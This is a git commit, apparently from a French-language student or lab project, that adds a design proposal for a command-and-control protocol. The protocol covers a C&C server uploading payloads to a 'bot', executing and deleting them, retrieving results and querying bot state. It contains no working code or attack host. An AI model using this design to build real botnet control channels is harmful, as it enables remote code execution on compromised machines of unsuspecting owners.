Commit 58a4e11cdddd42594c5a6cd7944f8de7ea8145a4
1 parent
52f0bc00
Ajout du protocole relatif aux lib.so
Showing
1 changed file
with
54 additions
and
0 deletions
Show diff stats
@@ -0,0 +1,54 @@ | @@ -0,0 +1,54 @@ | ||
1 | +Proposition protocole pour installer la charge utile sur le bot: | ||
2 | +$C&C: "upload?\n" | ||
3 | +$bot: "OKupload\n" | ||
4 | +$C&C: "%d\n", charge.name.size | ||
5 | +$bot: "OKname_size\n" | ||
6 | +$C&C: "%s\n", charge.name | ||
7 | +$bot: "OKname\n" | ||
8 | +$C&C: "%d\n", charge.data.size | ||
9 | +$bot: "OKdata_size\n" | ||
10 | +$C&C: "%s\n", charge.data //on envoi octect par octet | ||
11 | +$bot: "bye"\n" //qd a recu tt les packets | ||
12 | +$C&C: "bye"\n" | ||
13 | + | ||
14 | +Execution charge: | ||
15 | +$C&C: "execute?\n" | ||
16 | +$bot: "OKexecute\n" | ||
17 | +$C&C: "%d\n", charge.name.size | ||
18 | +$bot: "OKname_size\n" | ||
19 | +$C&C: "%s\n", charge.name | ||
20 | +$bot: "OKname\n" //si la charge n'est pas presente sur le bot alors se dernier envoi un autre message "NOKname\n" et ca stop l'echange | ||
21 | +$bot: "%d\n", id //indice de l'execution dans la structure de donne choisie (liste chaine, table de hashage...a definir) pour stocker les resultats d'execution sur le bot | ||
22 | +$C&C: "OKid\n" | ||
23 | +$bot: "bye"\n" | ||
24 | +$C&C: "bye"\n" | ||
25 | + | ||
26 | +Suppression charge: | ||
27 | +$C&C: "delet?\n" | ||
28 | +$bot: "OKdelet\n" | ||
29 | +$C&C: "%d\n", charge.name.size | ||
30 | +$bot: "OKname_size\n" | ||
31 | +$C&C: "%s\n", charge.name | ||
32 | +$bot: "OKname\n" //si la charge n'est pas presente sur le bot alors se dernier envoi "NOKname\n" et ca stop l'echange | ||
33 | +$C&C: "bye"\n" | ||
34 | +$bot: "bye"\n" | ||
35 | + | ||
36 | +Resultat execution charge: | ||
37 | +$C&C: "result?\n" | ||
38 | +$bot: "OKresult\n" | ||
39 | +$C&C: "%d\n", id | ||
40 | +$bot: "OKid" //si id existe pas, renvoie "NOKid\n" et stop l'echange | ||
41 | +$bot: "%d\n", executions[id].result.size | ||
42 | +$C&C: "OKresult_size\n" | ||
43 | +$bot: "%s\n", executions[id].result //on envoi octect par octet | ||
44 | +$C&C: "bye"\n" //qd a recu tt les packets | ||
45 | +$bot: "bye"\n" | ||
46 | + | ||
47 | +Demande Etat du bot: | ||
48 | +$C&C: "state?\n" | ||
49 | +$bot: "%d\n", nbCharge | ||
50 | +$C&C: "OKnbCharge\n" | ||
51 | +$bot: "%d\n", nbExecs | ||
52 | +$C&C: "OKnbExecs\n" | ||
53 | +$bot: "bye"\n" | ||
54 | +$C&C: "bye"\n" |